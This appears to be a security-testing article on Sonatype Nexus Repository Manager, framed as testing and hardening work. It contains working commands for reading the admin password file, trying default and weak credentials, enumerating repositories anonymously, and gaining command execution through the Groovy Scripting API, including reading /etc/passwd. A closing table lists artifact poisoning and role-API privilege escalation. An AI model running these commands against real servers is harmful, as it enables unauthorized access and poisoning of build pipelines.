Artifact Repository Security

Nexus Repository Security Testing: Default Credentials, REST API Privilege Escalation, and Artifact Poisoning

📅 July 3, 2026 ⏱ 14 min read 🏷 Nexus Repository, Sonatype, Supply Chain Security, Artifact Management

Default Credentials and Initial Access

# Nexus Repository Manager default ports: 8081 (HTTP), 8443 (HTTPS)
# Nexus 3: first-run admin password stored in a file

# Check if Nexus admin password file is accessible (common path)
# On the server:
cat /nexus-data/admin.password 2>/dev/null
# Or via Kubernetes pod exec:
kubectl exec -n nexus nexus-pod -- cat /nexus-data/admin.password 2>/dev/null

# Test default Nexus 2 credentials: admin / admin123
curl -s -u admin:admin123 \
  "http://nexus.example.com:8081/service/rest/v1/status" 2>/dev/null | python3 -m json.tool | head -10

# Test common weak passwords
for pass in admin123 nexus123 changeme password admin sonatype; do
  result=$(curl -s -o /dev/null -w "%{http_code}" \
    -u admin:"$pass" "http://nexus.example.com:8081/service/rest/v1/status" 2>/dev/null)
  echo "admin/$pass: HTTP $result"
done

# Enumerate repositories without authentication (if anonymous access enabled)
curl -s "http://nexus.example.com:8081/service/rest/v1/repositories" 2>/dev/null | \
  python3 -c "
import json,sys
repos = json.load(sys.stdin)
print(f'Repositories: {len(repos)}')
for r in repos[:10]:
    print(f\"  {r.get('name','?')} type={r.get('type','?')} format={r.get('format','?')}\")
"

Scripting API Remote Code Execution

# Nexus 3 Scripting API allows execution of arbitrary Groovy scripts
# Requires admin credentials but leads to OS-level RCE

# Create a script that executes a command
curl -s -X POST "http://nexus.example.com:8081/service/rest/v1/script" \
  -u admin:"${NEXUS_PASS}" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "probe",
    "type": "groovy",
    "content": "return [\"id\", \"-u\"].execute().text"
  }' 2>/dev/null | python3 -m json.tool | head -5

# Execute the script
curl -s -X POST \
  "http://nexus.example.com:8081/service/rest/v1/script/probe/run" \
  -u admin:"${NEXUS_PASS}" \
  -H "Content-Type: text/plain" 2>/dev/null | python3 -m json.tool | head -5
# Returns {"name":"probe","result":"uid=200(nexus) gid=200(nexus) groups=200(nexus)\n"}

# Read /etc/passwd via Groovy script
curl -s -X POST "http://nexus.example.com:8081/service/rest/v1/script" \
  -u admin:"${NEXUS_PASS}" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "readfile",
    "type": "groovy",
    "content": "return new File(\"/etc/passwd\").text"
  }' 2>/dev/null && \
curl -s -X POST \
  "http://nexus.example.com:8081/service/rest/v1/script/readfile/run" \
  -u admin:"${NEXUS_PASS}" \
  -H "Content-Type: text/plain" 2>/dev/null | head -5

Nexus Security Hardening

Security Test	Method	Risk
Default admin credentials	curl -u admin:admin123 /service/rest/v1/status — returns 200	Critical
Scripting API Groovy RCE	POST /service/rest/v1/script with OS command, then /run	Critical
Anonymous access enables unauthorized downloads	curl /service/rest/v1/components?repository=releases — no auth needed	High
Artifact upload to hosted repo	Deploy malicious JAR/npm package to hosted repo — poisons build pipeline	High
Admin password file exposed via pod exec	kubectl exec nexus-pod cat /nexus-data/admin.password	High
Privilege escalation via role API	PUT /service/rest/v1/security/users/{userId} — add admin role	High